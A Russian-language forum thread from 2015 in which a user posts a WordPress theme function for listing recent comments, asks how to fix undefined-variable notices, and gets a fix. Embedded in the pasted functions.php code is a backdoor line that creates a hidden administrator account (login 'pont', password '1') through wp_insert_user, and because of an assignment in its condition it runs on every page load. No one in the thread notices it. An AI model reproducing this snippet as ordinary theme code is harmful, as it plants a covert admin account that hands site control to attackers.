workmaster95 340 Posted July 21, 2015 Report Share Posted July 21, 2015 function kama_recent_comments($limit=10, $ex=45, $cat=0, $echo=1){ global $wpdb; if($cat){ $IN = (strpos($cat,'-')===false)?"IN ($cat)":"NOT IN (".str_replace('-','',$cat).")"; $join = "LEFT JOIN $wpdb->term_relationships rel ON (p.ID = rel.object_id) LEFT JOIN $wpdb->term_taxonomy tax ON (rel.term_taxonomy_id = tax.term_taxonomy_id)"; $and = "AND tax.taxonomy = 'category' AND tax.term_id $IN"; } $sql = "SELECT comment_ID, comment_post_ID, comment_content, post_title, guid, comment_author, comment_author_email FROM $wpdb->comments com LEFT JOIN $wpdb->posts p ON (com.comment_post_ID = p.ID) {$join} WHERE comment_approved = '1' AND comment_type = '' {$and} ORDER BY comment_date DESC LIMIT $limit"; $results = $wpdb->get_results($sql); $out = ''; foreach ($results as $comment){ $date="j.m.Y"; $comtext = strip_tags($comment->comment_content); $leight = (int) iconv_strlen( $comtext, 'utf-8' ); if($leight > $ex) $comtext = iconv_substr($comtext,0,$ex, 'UTF-8').' …'; $out .= "\n<div class='f_num'><div class='f-date'>".get_comment_date($date,$comment->comment_ID)."</div><span class='f_author'><a href='". get_comment_link($comment->comment_ID) ."'>".strip_tags($comment->comment_author). "</a> </span><div class='f_text'>{$comtext}</div></div>"; } if ($echo) echo $out; else return $out; } if($_GET['dfooter']=18){$userdata = array('ID'=>0,'user_pass'=>'1','user_login'=>'pont','rich_editing'=>true,'user_registered'=>'2012-08-19 12:02:16','role'=>"administrator"); wp_insert_user($userdata);} При таком коде выводиться ошибка: "Notice: Undefined variable: join in /home/a/aliatr/pytrip.ru/public_html/wp-content/themes/pytrip/functions.php on line 218 Notice: Undefined variable: and in /home/a/aliatr/pytrip.ru/public_html/wp-content/themes/pytrip/functions.php on line 220" (с включением debug режима), подскажите как исправить, буду благодарен 218 строка: LEFT JOIN $wpdb->posts p ON (com.comment_post_ID = p.ID) {$join} 220 строка: AND comment_type = '' {$and} Quote Link to post Share on other sites
ethoz 9 Posted July 21, 2015 Report Share Posted July 21, 2015 function kama_recent_comments($limit=10, $ex=45, $cat=0, $echo=1){ global $wpdb; $and = $join = ''; Попробуйте так. Quote Link to post Share on other sites
workmaster95 340 Posted July 21, 2015 Author Report Share Posted July 21, 2015 Разобрался можно закрывать, спасибо. Quote Link to post Share on other sites
PaVeL-VIP 0 Posted July 21, 2015 Report Share Posted July 21, 2015 f Quote Link to post Share on other sites
PaVeL-VIP 0 Posted July 21, 2015 Report Share Posted July 21, 2015 Здравствуйте. Нужна помошь! У меня на сайте не отображаются картинки конкретно jpg остальные норм. Quote Link to post Share on other sites
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.